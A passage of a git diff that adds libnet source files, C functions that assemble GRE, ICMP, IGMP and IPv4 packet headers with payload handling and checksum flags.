+ libnet_pblock_delete(l, p);
+ return (-1);
+
+}
+
+libnet_ptag_t
+libnet_build_gre_last_sre(libnet_t *l, libnet_ptag_t ptag)
+{
+ u_int32_t n, zero = 0;
+ libnet_pblock_t *p;
+
+ if (l == NULL)
+ {
+ return (-1);
+ }
+
+ n = LIBNET_GRE_SRE_H;
+
+ /*
+ * Find the existing protocol block if a ptag is specified, or create
+ * a new one.
+ */
+ p = libnet_pblock_probe(l, ptag, n, LIBNET_PBLOCK_GRE_H);
+ if (p == NULL)
+ {
+ return (-1);
+ }
+
+ n = libnet_pblock_append(l, p, (u_int8_t *)&zero, LIBNET_GRE_SRE_H);
+ if (n == -1)
+ {
+ /* err msg set in libnet_pblock_append() */
+ goto bad;
+ }
+
+ return (ptag ? ptag : libnet_pblock_update(l, p, 0,
+ LIBNET_PBLOCK_GRE_SRE_H));
+
+bad:
+ libnet_pblock_delete(l, p);
+ return (-1);
+
+}
+
+
+/* EOF */
diff --git a/libnet/src/libnet_build_icmp.c b/libnet/src/libnet_build_icmp.c
new file mode 100644
index 0000000..8db7f27
--- /dev/null
+++ b/libnet/src/libnet_build_icmp.c
@@ -0,0 +1,437 @@
+/*
+ * $Id: libnet_build_icmp.c,v 1.16 2004/03/29 17:24:34 mike Exp $
+ *
+ * libnet
+ * libnet_build_icmp.c - ICMP packet assemblers
+ *
+ * Copyright (c) 1998 - 2004 Mike D. Schiffman <mike@infonexus.com>
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions
+ * are met:
+ * 1. Redistributions of source code must retain the above copyright
+ * notice, this list of conditions and the following disclaimer.
+ * 2. Redistributions in binary form must reproduce the above copyright
+ * notice, this list of conditions and the following disclaimer in the
+ * documentation and/or other materials provided with the distribution.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND
+ * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
+ * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
+ * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+ * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
+ * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
+ * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
+ * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
+ * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
+ * SUCH DAMAGE.
+ *
+ */
+
+#if (HAVE_CONFIG_H)
+#include "../include/config.h"
+#endif
+#if (!(_WIN32) || (__CYGWIN__))
+#include "../include/libnet.h"
+#else
+#include "../include/win32/libnet.h"
+#endif
+
+/* some common cruft for completing ICMP error packets */
+#define LIBNET_BUILD_ICMP_ERR_FINISH(len) \
+do \
+{ \
+ n = libnet_pblock_append(l, p, (u_int8_t *)&icmp_hdr, len); \
+ if (n == -1) \
+ { \
+ goto bad; \
+ } \
+ \
+ if ((payload && !payload_s) || (!payload && payload_s)) \
+ { \
+ snprintf(l->err_buf, LIBNET_ERRBUF_SIZE, \
+ "%s(): payload inconsistency\n", __func__); \
+ goto bad; \
+ } \
+ \
+ if (payload && payload_s) \
+ { \
+ n = libnet_pblock_append(l, p, payload, payload_s); \
+ if (n == -1) \
+ { \
+ goto bad; \
+ } \
+ } \
+ \
+ if (sum == 0) \
+ { \
+ libnet_pblock_setflags(p, LIBNET_PBLOCK_DO_CHECKSUM); \
+ } \
+} while (0)
+
+libnet_ptag_t
+libnet_build_icmpv4_echo(u_int8_t type, u_int8_t code, u_int16_t sum,
+u_int16_t id, u_int16_t seq, u_int8_t *payload, u_int32_t payload_s,
+libnet_t *l, libnet_ptag_t ptag)
+{
+ u_int32_t n, h;
+ libnet_pblock_t *p;
+ struct libnet_icmpv4_hdr icmp_hdr;
+
+ if (l == NULL)
+ {
+ return (-1);
+ }
+
+ n = LIBNET_ICMPV4_ECHO_H + payload_s; /* size of memory block */
+ h = LIBNET_ICMPV4_ECHO_H + payload_s; /* hl for checksum */
+
+ /*
+ * Find the existing protocol block if a ptag is specified, or create
+ * a new one.
+ */
+ p = libnet_pblock_probe(l, ptag, n, LIBNET_PBLOCK_ICMPV4_ECHO_H);
+ if (p == NULL)
+ {
+ return (-1);
+ }
+
+ memset(&icmp_hdr, 0, sizeof(icmp_hdr));
+ icmp_hdr.icmp_type = type; /* packet type */
+ icmp_hdr.icmp_code = code; /* packet code */
+ icmp_hdr.icmp_sum = (sum ? htons(sum) : 0); /* checksum */
+ icmp_hdr.icmp_id = htons(id); /* packet id */
+ icmp_hdr.icmp_seq = htons(seq); /* packet seq */
+
+ n = libnet_pblock_append(l, p, (u_int8_t *)&icmp_hdr, LIBNET_ICMPV4_ECHO_H);
+ if (n == -1)
+ {
+ goto bad;
+ }
+
+ if ((payload && !payload_s) || (!payload && payload_s))
+ {
+ snprintf(l->err_buf, LIBNET_ERRBUF_SIZE,
+ "%s(): payload inconsistency\n", __func__);
+ goto bad;
+ }
+
+ if (payload && payload_s)
+ {
+ n = libnet_pblock_append(l, p, payload, payload_s);
+ if (n == -1)
+ {
+ goto bad;
+ }
+ }
+
+ if (sum == 0)
+ {
+ /*
+ * If checksum is zero, by default libnet will compute a checksum
+ * for the user. The programmer can override this by calling
+ * libnet_toggle_checksum(l, ptag, 1);
+ */
+ libnet_pblock_setflags(p, LIBNET_PBLOCK_DO_CHECKSUM);
+ }
+ return (ptag ? ptag : libnet_pblock_update(l, p, h,
+ LIBNET_PBLOCK_ICMPV4_ECHO_H));
+bad:
+ libnet_pblock_delete(l, p);
+ return (-1);
+}
+
+libnet_ptag_t
+libnet_build_icmpv4_mask(u_int8_t type, u_int8_t code, u_int16_t sum,
+u_int16_t id, u_int16_t seq, u_int32_t mask, u_int8_t *payload,
+u_int32_t payload_s, libnet_t *l, libnet_ptag_t ptag)
+{
+ u_int32_t n, h;
+ libnet_pblock_t *p;
+ struct libnet_icmpv4_hdr icmp_hdr;
+
+ if (l == NULL)
+ {
+ return (-1);
+ }
+
+ n = LIBNET_ICMPV4_MASK_H + payload_s; /* size of memory block */
+ h = LIBNET_ICMPV4_MASK_H + payload_s; /* hl for checksum */
+
+ /*
+ * Find the existing protocol block if a ptag is specified, or create
+ * a new one.
+ */
+ p = libnet_pblock_probe(l, ptag, n, LIBNET_PBLOCK_ICMPV4_MASK_H);
+ if (p == NULL)
+ {
+ return (-1);
+ }
+
+ memset(&icmp_hdr, 0, sizeof(icmp_hdr));
+ icmp_hdr.icmp_type = type; /* packet type */
+ icmp_hdr.icmp_code = code; /* packet code */
+ icmp_hdr.icmp_sum = (sum ? htons(sum) : 0); /* checksum */
+ icmp_hdr.icmp_id = htons(id); /* packet id */
+ icmp_hdr.icmp_seq = htons(seq); /* packet seq */
+ icmp_hdr.icmp_mask = htonl(mask); /* address mask */
+
+ n = libnet_pblock_append(l, p, (u_int8_t *)&icmp_hdr, LIBNET_ICMPV4_MASK_H);
+ if (n == -1)
+ {
+ goto bad;
+ }
+
+ if ((payload && !payload_s) || (!payload && payload_s))
+ {
+ snprintf(l->err_buf, LIBNET_ERRBUF_SIZE,
+ "%s(): payload inconsistency\n", __func__);
+ goto bad;
+ }
+
+ if (payload && payload_s)
+ {
+ n = libnet_pblock_append(l, p, payload, payload_s);
+ if (n == -1)
+ {
+ goto bad;
+ }
+ }
+
+ if (sum == 0)
+ {
+ /*
+ * If checksum is zero, by default libnet will compute a checksum
+ * for the user. The programmer can override this by calling
+ * libnet_toggle_checksum(l, ptag, 1);
+ */
+ libnet_pblock_setflags(p, LIBNET_PBLOCK_DO_CHECKSUM);
+ }
+ return (ptag ? ptag : libnet_pblock_update(l, p, h,
+ LIBNET_PBLOCK_ICMPV4_MASK_H));
+bad:
+ libnet_pblock_delete(l, p);
+ return (-1);
+}
+
+libnet_ptag_t
+libnet_build_icmpv4_timestamp(u_int8_t type, u_int8_t code, u_int16_t sum,
+u_int16_t id, u_int16_t seq, n_time otime, n_time rtime, n_time ttime,
+u_int8_t *payload, u_int32_t payload_s, libnet_t *l, libnet_ptag_t ptag)
+{
+ u_int32_t n, h;
+ libnet_pblock_t *p;
+ struct libnet_icmpv4_hdr icmp_hdr;
+
+ if (l == NULL)
+ {
+ return (-1);
+ }
+
+ n = LIBNET_ICMPV4_TS_H + payload_s; /* size of memory block */
+ h = LIBNET_ICMPV4_TS_H + payload_s; /* hl for checksum */
+
+ /*
+ * Find the existing protocol block if a ptag is specified, or create
+ * a new one.
+ */
+ p = libnet_pblock_probe(l, ptag, n, LIBNET_PBLOCK_ICMPV4_TS_H);
+ if (p == NULL)
+ {
+ return (-1);
+ }
+
+ memset(&icmp_hdr, 0, sizeof(icmp_hdr));
+ icmp_hdr.icmp_type = type; /* packet type */
+ icmp_hdr.icmp_code = code; /* packet code */
+ icmp_hdr.icmp_sum = (sum ? htons(sum) : 0); /* checksum */
+ icmp_hdr.icmp_id = htons(id); /* packet id */
+ icmp_hdr.icmp_seq = htons(seq); /* packet seq */
+ icmp_hdr.icmp_otime = htonl(otime); /* original timestamp */
+ icmp_hdr.icmp_rtime = htonl(rtime); /* receive timestamp */
+ icmp_hdr.icmp_ttime = htonl(ttime); /* transmit timestamp */
+
+ n = libnet_pblock_append(l, p, (u_int8_t *)&icmp_hdr, LIBNET_ICMPV4_TS_H);
+ if (n == -1)
+ {
+ goto bad;
+ }
+
+ if ((payload && !payload_s) || (!payload && payload_s))
+ {
+ snprintf(l->err_buf, LIBNET_ERRBUF_SIZE,
+ "%s(): payload inconsistency\n", __func__);
+ goto bad;
+ }
+
+ if (payload && payload_s)
+ {
+ n = libnet_pblock_append(l, p, payload, payload_s);
+ if (n == -1)
+ {
+ goto bad;
+ }
+ }
+
+ if (sum == 0)
+ {
+ /*
+ * If checksum is zero, by default libnet will compute a checksum
+ * for the user. The programmer can override this by calling
+ * libnet_toggle_checksum(l, ptag, 1);
+ */
+ libnet_pblock_setflags(p, LIBNET_PBLOCK_DO_CHECKSUM);
+ }
+ return (ptag ? ptag : libnet_pblock_update(l, p, h,
+ LIBNET_PBLOCK_ICMPV4_TS_H));
+bad:
+ libnet_pblock_delete(l, p);
+ return (-1);
+}
+
+libnet_ptag_t
+libnet_build_icmpv4_unreach(u_int8_t type, u_int8_t code, u_int16_t sum,
+u_int8_t *payload, u_int32_t payload_s, libnet_t *l, libnet_ptag_t ptag)
+{
+ u_int32_t n, h;
+ libnet_pblock_t *p;
+ struct libnet_icmpv4_hdr icmp_hdr;
+
+ if (l == NULL)
+ {
+ return (-1);
+ }
+ n = LIBNET_ICMPV4_UNREACH_H + payload_s; /* size of memory block */
+
+ /*
+ * FREDRAYNAL: as ICMP checksum includes what is embedded in
+ * the payload, and what is after the ICMP header, we need to include
+ * those 2 sizes.
+ */
+ h = LIBNET_ICMPV4_UNREACH_H + payload_s + l->total_size;
+
+ /*
+ * Find the existing protocol block if a ptag is specified, or create
+ * a new one.
+ */
+ p = libnet_pblock_probe(l, ptag, n, LIBNET_PBLOCK_ICMPV4_UNREACH_H);
+ if (p == NULL)
+ {
+ return (-1);
+ }
+
+ memset(&icmp_hdr, 0, sizeof(icmp_hdr));
+ icmp_hdr.icmp_type = type; /* packet type */
+ icmp_hdr.icmp_code = code; /* packet code */
+ icmp_hdr.icmp_sum = (sum ? htons(sum) : 0); /* checksum */
+ icmp_hdr.icmp_id = 0; /* must be 0 */
+ icmp_hdr.icmp_seq = 0; /* must be 0 */
+
+ LIBNET_BUILD_ICMP_ERR_FINISH(LIBNET_ICMPV4_UNREACH_H);
+
+ return (ptag ? ptag : libnet_pblock_update(l, p, h,
+ LIBNET_PBLOCK_ICMPV4_UNREACH_H));
+bad:
+ libnet_pblock_delete(l, p);
+ return (-1);
+}
+
+libnet_ptag_t
+libnet_build_icmpv4_timeexceed(u_int8_t type, u_int8_t code, u_int16_t sum,
+u_int8_t *payload, u_int32_t payload_s, libnet_t *l, libnet_ptag_t ptag)
+{
+ u_int32_t n, h;
+ libnet_pblock_t *p;
+ struct libnet_icmpv4_hdr icmp_hdr;
+
+ if (l == NULL)
+ {
+ return (-1);
+ }
+
+ /* size of memory block */
+ n = LIBNET_ICMPV4_TIMXCEED_H;
+ /*
+ * FREDRAYNAL: as ICMP checksum includes what is embedded in
+ * the payload, and what is after the ICMP header, we need to include
+ * those 2 sizes.
+ */
+ h = LIBNET_ICMPV4_TIMXCEED_H + payload_s + l->total_size;
+
+ /*
+ * Find the existing protocol block if a ptag is specified, or create
+ * a new one.
+ */
+ p = libnet_pblock_probe(l, ptag, n, LIBNET_PBLOCK_ICMPV4_TIMXCEED_H);
+ if (p == NULL)
+ {
+ return (-1);
+ }
+
+ memset(&icmp_hdr, 0, sizeof(icmp_hdr));
+ icmp_hdr.icmp_type = type; /* packet type */
+ icmp_hdr.icmp_code = code; /* packet code */
+ icmp_hdr.icmp_sum = (sum ? htons(sum) : 0); /* checksum */
+ icmp_hdr.icmp_id = 0; /* must be 0 */
+ icmp_hdr.icmp_seq = 0; /* must be 0 */
+
+ LIBNET_BUILD_ICMP_ERR_FINISH(LIBNET_ICMPV4_TIMXCEED_H);
+
+ return (ptag ? ptag : libnet_pblock_update(l, p, h,
+ LIBNET_PBLOCK_ICMPV4_TIMXCEED_H));
+bad:
+ libnet_pblock_delete(l, p);
+ return (-1);
+}
+
+libnet_ptag_t
+libnet_build_icmpv4_redirect(u_int8_t type, u_int8_t code, u_int16_t sum,
+u_int32_t gateway, u_int8_t *payload, u_int32_t payload_s, libnet_t *l,
+libnet_ptag_t ptag)
+
+{
+ u_int32_t n, h;
+ libnet_pblock_t *p;
+ struct libnet_icmpv4_hdr icmp_hdr;
+
+ if (l == NULL)
+ {
+ return (-1);
+ }
+
+ n = LIBNET_ICMPV4_REDIRECT_H; /* size of memory block */
+ /*
+ * FREDRAYNAL: as ICMP checksum includes what is embedded in
+ * the payload, and what is after the ICMP header, we need to include
+ * those 2 sizes.
+ */
+ h = LIBNET_ICMPV4_REDIRECT_H + payload_s + l->total_size;
+
+ /*
+ * Find the existing protocol block if a ptag is specified, or create
+ * a new one.
+ */
+ p = libnet_pblock_probe(l, ptag, n, LIBNET_PBLOCK_ICMPV4_REDIRECT_H);
+ if (p == NULL)
+ {
+ return (-1);
+ }
+
+ memset(&icmp_hdr, 0, sizeof(icmp_hdr));
+ icmp_hdr.icmp_type = type; /* packet type */
+ icmp_hdr.icmp_code = code; /* packet code */
+ icmp_hdr.icmp_sum = (sum ? htons(sum) : 0); /* checksum */
+ icmp_hdr.hun.gateway = gateway;
+
+ LIBNET_BUILD_ICMP_ERR_FINISH(LIBNET_ICMPV4_REDIRECT_H);
+
+ return (ptag ? ptag : libnet_pblock_update(l, p, h,
+ LIBNET_PBLOCK_ICMPV4_REDIRECT_H));
+bad:
+ libnet_pblock_delete(l, p);
+ return (-1);
+}
+
+/* EOF */
diff --git a/libnet/src/libnet_build_igmp.c b/libnet/src/libnet_build_igmp.c
new file mode 100644
index 0000000..beddf4e
--- /dev/null
+++ b/libnet/src/libnet_build_igmp.c
@@ -0,0 +1,112 @@
+/*
+ * $Id: libnet_build_igmp.c,v 1.11 2004/01/21 19:01:29 mike Exp $
+ *
+ * libnet
+ * libnet_build_igmp.c - IGMP packet assembler
+ *
+ * Copyright (c) 1998 - 2004 Mike D. Schiffman <mike@infonexus.com>
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions
+ * are met:
+ * 1. Redistributions of source code must retain the above copyright
+ * notice, this list of conditions and the following disclaimer.
+ * 2. Redistributions in binary form must reproduce the above copyright
+ * notice, this list of conditions and the following disclaimer in the
+ * documentation and/or other materials provided with the distribution.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND
+ * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
+ * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
+ * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+ * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
+ * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
+ * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
+ * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
+ * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
+ * SUCH DAMAGE.
+ *
+ */
+
+#if (HAVE_CONFIG_H)
+#include "../include/config.h"
+#endif
+#if (!(_WIN32) || (__CYGWIN__))
+#include "../include/libnet.h"
+#else
+#include "../include/win32/libnet.h"
+#endif
+
+libnet_ptag_t
+libnet_build_igmp(u_int8_t type, u_int8_t code, u_int16_t sum, u_int32_t ip,
+u_int8_t *payload, u_int32_t payload_s, libnet_t *l, libnet_ptag_t ptag)
+{
+ u_int32_t n, h;
+ libnet_pblock_t *p;
+ struct libnet_igmp_hdr igmp_hdr;
+
+ if (l == NULL)
+ {
+ return (-1);
+ }
+
+ n = LIBNET_IGMP_H + payload_s;
+ h = LIBNET_IGMP_H;
+
+ /*
+ * Find the existing protocol block if a ptag is specified, or create
+ * a new one.
+ */
+ p = libnet_pblock_probe(l, ptag, n, LIBNET_PBLOCK_IGMP_H);
+ if (p == NULL)
+ {
+ return (-1);
+ }
+
+ memset(&igmp_hdr, 0, sizeof(igmp_hdr));
+ igmp_hdr.igmp_type = type; /* packet type */
+ igmp_hdr.igmp_code = code; /* packet code */
+ igmp_hdr.igmp_sum = (sum ? htons(sum) : 0); /* packet checksum */
+ igmp_hdr.igmp_group.s_addr = htonl(ip);
+
+ n = libnet_pblock_append(l, p, (u_int8_t *)&igmp_hdr, LIBNET_IGMP_H);
+ if (n == -1)
+ {
+ goto bad;
+ }
+
+ if ((payload && !payload_s) || (!payload && payload_s))
+ {
+ snprintf(l->err_buf, LIBNET_ERRBUF_SIZE,
+ "%s(): payload inconsistency\n", __func__);
+ goto bad;
+ }
+
+ if (payload && payload_s)
+ {
+ n = libnet_pblock_append(l, p, payload, payload_s);
+ if (n == -1)
+ {
+ goto bad;
+ }
+ }
+ if (sum == 0)
+ {
+ /*
+ * If checksum is zero, by default libnet will compute a checksum
+ * for the user. The programmer can override this by calling
+ * libnet_toggle_checksum(l, ptag, 1);
+ */
+ libnet_pblock_setflags(p, LIBNET_PBLOCK_DO_CHECKSUM);
+ }
+
+
+ return (ptag ? ptag : libnet_pblock_update(l, p, h, LIBNET_PBLOCK_IGMP_H));
+bad:
+ libnet_pblock_delete(l, p);
+ return (-1);
+}
+
+/* EOF */
diff --git a/libnet/src/libnet_build_ip.c b/libnet/src/libnet_build_ip.c
new file mode 100644
index 0000000..82b2394
--- /dev/null
+++ b/libnet/src/libnet_build_ip.c
@@ -0,0 +1,880 @@
+/*
+ * $Id: libnet_build_ip.c,v 1.18 2004/03/16 18:40:59 mike Exp $
+ *
+ * libnet
+ * libnet_build_ip.c - IP packet assembler
+ *
+ * Copyright (c) 1998 - 2004 Mike D. Schiffman <mike@infonexus.com>
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions
+ * are met:
+ * 1. Redistributions of source code must retain the above copyright
+ * notice, this list of conditions and the following disclaimer.
+ * 2. Redistributions in binary form must reproduce the above copyright
+ * notice, this list of conditions and the following disclaimer in the
+ * documentation and/or other materials provided with the distribution.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND
+ * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
+ * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
+ * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+ * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
+ * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
+ * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
+ * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
+ * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
+ * SUCH DAMAGE.
+ *
+ */
+
+#if (HAVE_CONFIG_H)
+#include "../include/config.h"
+#endif
+#if (!(_WIN32) || (__CYGWIN__))
+#include "../include/libnet.h"
+#else
+#include "../include/win32/libnet.h"
+#endif
+
+
+libnet_ptag_t
+libnet_build_ipv4(u_int16_t len, u_int8_t tos, u_int16_t id, u_int16_t frag,
+u_int8_t ttl, u_int8_t prot, u_int16_t sum, u_int32_t src, u_int32_t dst,
+u_int8_t *payload, u_int32_t payload_s, libnet_t *l, libnet_ptag_t ptag)
+{
+ int offset;
+ u_int32_t h, n, i, j;
+ libnet_pblock_t *p, *p_data, *p_temp;
+ struct libnet_ipv4_hdr ip_hdr;
+ libnet_ptag_t ptag_data, ptag_hold;
+
+ if (l == NULL)
+ {
+ return (-1);
+ }
+
+ n = LIBNET_IPV4_H; /* size of memory block */
+ h = len; /* header length */
+ ptag_data = 0; /* used if options are present */
+
+ if (h + payload_s > IP_MAXPACKET)
+ {
+ snprintf(l->err_buf, LIBNET_ERRBUF_SIZE,
+ "%s(): IP packet too large\n", __func__);
+ return (-1);
+ }
+
+ /*
+ * Find the existing protocol block if a ptag is specified, or create
+ * a new one.
+ */
+ p = libnet_pblock_probe(l, ptag, n, LIBNET_PBLOCK_IPV4_H);
+ if (p == NULL)
+ {
+ return (-1);
+ }
+
+ memset(&ip_hdr, 0, sizeof(ip_hdr));
+ ip_hdr.ip_v = 4; /* version 4 */
+ ip_hdr.ip_hl = 5; /* 20 byte header */
+
+ /* check to see if there are IP options to include */
+ if (p->prev)
+ {
+ if (p->prev->type == LIBNET_PBLOCK_IPO_H)
+ {
+ /*
+ * Count up number of 32-bit words in options list, padding if
+ * neccessary.
+ */
+ for (i = 0, j = 0; i < p->prev->b_len; i++)
+ {
+ (i % 4) ? j : j++;
+ }
+ ip_hdr.ip_hl += j;
+ }
+ }
+
+ ip_hdr.ip_tos = tos; /* IP tos */
+ ip_hdr.ip_len = htons(h); /* total length */
+ ip_hdr.ip_id = htons(id); /* IP ID */
+ ip_hdr.ip_off = htons(frag); /* fragmentation flags */
+ ip_hdr.ip_ttl = ttl; /* time to live */
+ ip_hdr.ip_p = prot; /* transport protocol */
+ ip_hdr.ip_sum = (sum ? htons(sum) : 0); /* checksum */
+ ip_hdr.ip_src.s_addr = src; /* source ip */
+ ip_hdr.ip_dst.s_addr = dst; /* destination ip */
+
+ n = libnet_pblock_append(l, p, (u_int8_t *)&ip_hdr, LIBNET_IPV4_H);
+ if (n == -1)
+ {
+ goto bad;
+ }
+
+ /* save the original ptag value */
+ ptag_hold = ptag;
+
+ if (ptag == LIBNET_PTAG_INITIALIZER)
+ {
+ ptag = libnet_pblock_update(l, p, LIBNET_IPV4_H, LIBNET_PBLOCK_IPV4_H);
+ }
+
+ /* find and set the appropriate ptag, or else use the default of 0 */
+ offset = payload_s;
+ if (ptag_hold && p->prev)
+ {
+ p_temp = p->prev;
+ while (p_temp->prev &&
+ (p_temp->type != LIBNET_PBLOCK_IPDATA) &&
+ (p_temp->type != LIBNET_PBLOCK_IPV4_H))
+ {
+ p_temp = p_temp->prev;
+ }
+
+ if (p_temp->type == LIBNET_PBLOCK_IPDATA)
+ {
+ ptag_data = p_temp->ptag;
+ offset -= p_temp->b_len;
+ p->h_len += offset;
+ }
+ else
+ {
+ snprintf(l->err_buf, LIBNET_ERRBUF_SIZE,
+ "%s(): IPv4 data pblock not found\n", __func__);
+ }
+ }
+
+ if ((payload && !payload_s) || (!payload && payload_s))
+ {
+ snprintf(l->err_buf, LIBNET_ERRBUF_SIZE,
+ "%s(): payload inconsistency\n", __func__);
+ goto bad;
+ }
+
+ if (payload && payload_s)
+ {
+ /* update ptag_data with the new payload */
+ p_data = libnet_pblock_probe(l, ptag_data, payload_s,
+ LIBNET_PBLOCK_IPDATA);
+ if (p_data == NULL)
+ {
+ return (-1);
+ }
+
+ if (libnet_pblock_append(l, p_data, payload, payload_s) == -1)
+ {
+ goto bad;
+ }
+
+ if (ptag_data == LIBNET_PTAG_INITIALIZER)
+ {
+ if (p_data->prev->type == LIBNET_PBLOCK_IPV4_H)
+ {
+ libnet_pblock_update(l, p_data, payload_s,
+ LIBNET_PBLOCK_IPDATA);
+ /* swap pblocks to correct the protocol order */
+ libnet_pblock_swap(l, p->ptag, p_data->ptag);
+ }
+ else
+ {
+ /* update without setting this as the final pblock */
+ p_data->type = LIBNET_PBLOCK_IPDATA;
+ p_data->ptag = ++(l->ptag_state);
+ p_data->h_len = payload_s;
+
+ /* Adjust h_len for checksum. */
+ p->h_len += payload_s;
+
+ /* data was added after the initial construction */
+ for (p_temp = l->protocol_blocks;
+ p_temp->type == LIBNET_PBLOCK_IPV4_H ||
+ p_temp->type == LIBNET_PBLOCK_IPO_H;
+ p_temp = p_temp->next)
+ {
+ libnet_pblock_insert_before(l, p_temp->ptag, p_data->ptag);
+ break;
+ }
+
+ /* the end block needs to have its next pointer cleared */
+ l->pblock_end->next = NULL;
+ }
+
+ if (p_data->prev && p_data->prev->type == LIBNET_PBLOCK_IPO_H)
+ {
+ libnet_pblock_swap(l, p_data->prev->ptag, p_data->ptag);
+ }
+ }
+ }
+ else
+ {
+ p_data = libnet_pblock_find(l, ptag_data);
+ if (p_data)
+ {
+ libnet_pblock_delete(l, p_data);
+ }
+ else
+ {
+ /*
+ * XXX - When this completes successfully, libnet errbuf contains
+ * an error message so to come correct, we'll clear it.
+ */
+ memset(l->err_buf, 0, sizeof (l->err_buf));
+ }
+ }
+ if (sum == 0)
+ {
+ /*
+ * If checksum is zero, by default libnet will compute a checksum
+ * for the user. The programmer can override this by calling
+ * libnet_toggle_checksum(l, ptag, 1);
+ */
+ libnet_pblock_setflags(p, LIBNET_PBLOCK_DO_CHECKSUM);
+ }
+
+ /*
+ * FREDRAYNAL: as we insert a new IP header, all checksums for headers
+ * placed after this one will refer to here.
+ */
+ libnet_pblock_record_ip_offset(l, l->total_size);
+
+ return (ptag);
+bad:
+ libnet_pblock_delete(l, p);
+ return (-1);
+}
+
+libnet_ptag_t
+libnet_autobuild_ipv4(u_int16_t len, u_int8_t prot, u_int32_t dst, libnet_t *l)
+{
+ u_int32_t n, i, j, src;
+ u_int16_t h;
+ libnet_pblock_t *p;
+ libnet_ptag_t ptag;
+ struct libnet_ipv4_hdr ip_hdr;
+
+ if (l == NULL)
+ {
+ return (-1);
+ }
+
+ n = LIBNET_IPV4_H; /* size of memory block */
+ h = len; /* header length */
+ ptag = LIBNET_PTAG_INITIALIZER;
+ src = libnet_get_ipaddr4(l);
+ if (src == -1)
+ {
+ /* err msg set in libnet_get_ipaddr() */
+ return (-1);
+ }
+
+ /*
+ * Create a new pblock.
+ */
+ p = libnet_pblock_probe(l, ptag, n, LIBNET_PBLOCK_IPV4_H);
+ if (p == NULL)
+ {
+ return (-1);
+ }
+
+ memset(&ip_hdr, 0, sizeof(ip_hdr));
+ ip_hdr.ip_v = 4; /* version 4 */
+ ip_hdr.ip_hl = 5; /* 20 byte header */
+
+ /* check to see if there are IP options to include */
+ if (p->prev)
+ {
+ if (p->prev->type == LIBNET_PBLOCK_IPO_H)
+ {
+ /*
+ * Count up number of 32-bit words in options list, padding if
+ * neccessary.
+ */
+ for (i = 0, j = 0; i < p->prev->b_len; i++)
+ {
+ (i % 4) ? j : j++;
+ }
+ ip_hdr.ip_hl += j;
+ }
+ }
+
+ ip_hdr.ip_tos = 0; /* IP tos */
+ ip_hdr.ip_len = htons(h); /* total length */
+ ip_hdr.ip_id = htons((l->ptag_state) & 0x0000ffff); /* IP ID */
+ ip_hdr.ip_off = 0; /* fragmentation flags */
+ ip_hdr.ip_ttl = 64; /* time to live */
+ ip_hdr.ip_p = prot; /* transport protocol */
+ ip_hdr.ip_sum = 0; /* checksum */
+ ip_hdr.ip_src.s_addr = src; /* source ip */
+ ip_hdr.ip_dst.s_addr = dst; /* destination ip */
+
+ n = libnet_pblock_append(l, p, (u_int8_t *)&ip_hdr, LIBNET_IPV4_H);
+ if (n == -1)
+ {
+ goto bad;
+ }
+
+ libnet_pblock_setflags(p, LIBNET_PBLOCK_DO_CHECKSUM);
+ ptag = libnet_pblock_update(l, p, LIBNET_IPV4_H, LIBNET_PBLOCK_IPV4_H);
+
+ /*
+ * FREDRAYNAL: as we insert a new IP header, all checksums for headers
+ * placed after this one will refer to here.
+ */
+ libnet_pblock_record_ip_offset(l, l->total_size);
+ return (ptag);
+
+bad:
